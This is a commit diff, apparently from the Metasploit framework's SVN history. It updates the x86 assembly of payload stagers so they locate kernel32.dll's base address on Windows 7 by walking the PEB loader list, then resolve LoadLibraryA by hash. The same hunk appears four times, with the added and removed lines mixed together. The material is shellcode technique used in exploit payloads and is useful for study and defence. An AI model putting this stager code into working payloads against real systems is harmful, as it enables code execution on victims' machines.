Adds Windows 7 support for the primary stagers: http://www.harmonysecurity.com/blog/2009/06/retrieving-kernel32s-base-address.html
git-svn-id: file:///home/svn/framework3/trunk@6677 4d416f70-5f16-0410-b530-b9f4589650da
This commit is contained in:
@@ -67,9 +67,10 @@ LKernel32Base:
|
||||
pop ecx
|
||||
mov ebx, [fs:ecx]
|
||||
mov ebx, [ebx + 0x0c]
|
||||
mov ebx, [ebx + 0x1c]
|
||||
mov ebx, [ebx + 0x14]
|
||||
mov ebx, [ebx]
|
||||
mov ebx, [ebx + 0x08]
|
||||
mov ebx, [ebx]
|
||||
mov ebx, [ebx + 0x10]
|
||||
|
||||
push ebx ; kernel32.dll base
|
||||
push dword 0xec0e4e8e ; LoadLibraryA
|
||||
|
||||
@@ -67,9 +67,10 @@ LKernel32Base:
|
||||
pop ecx
|
||||
mov ebx, [fs:ecx]
|
||||
mov ebx, [ebx + 0x0c]
|
||||
mov ebx, [ebx + 0x1c]
|
||||
mov ebx, [ebx + 0x14]
|
||||
mov ebx, [ebx]
|
||||
mov ebx, [ebx + 0x08]
|
||||
mov ebx, [ebx]
|
||||
mov ebx, [ebx + 0x10]
|
||||
|
||||
push ebx ; kernel32.dll base
|
||||
push 0xec0e4e8e ; LoadLibraryA
|
||||
|
||||
@@ -67,9 +67,10 @@ LKernel32Base:
|
||||
pop ecx
|
||||
mov ebx, [fs:ecx]
|
||||
mov ebx, [ebx + 0x0c]
|
||||
mov ebx, [ebx + 0x1c]
|
||||
mov ebx, [ebx + 0x14]
|
||||
mov ebx, [ebx]
|
||||
mov ebx, [ebx + 0x08]
|
||||
mov ebx, [ebx]
|
||||
mov ebx, [ebx + 0x10]
|
||||
|
||||
push ebx ; kernel32.dll base
|
||||
push dword 0xec0e4e8e ; LoadLibraryA
|
||||
|
||||
@@ -67,9 +67,10 @@ LKernel32Base:
|
||||
pop ecx
|
||||
mov ebx, [fs:ecx]
|
||||
mov ebx, [ebx + 0x0c]
|
||||
mov ebx, [ebx + 0x1c]
|
||||
mov ebx, [ebx + 0x14]
|
||||
mov ebx, [ebx]
|
||||
mov ebx, [ebx + 0x08]
|
||||
mov ebx, [ebx]
|
||||
mov ebx, [ebx + 0x10]
|
||||
|
||||
push ebx ; kernel32.dll base
|
||||
push 0xec0e4e8e ; LoadLibraryA
|
||||
|
||||
Reference in New Issue
Block a user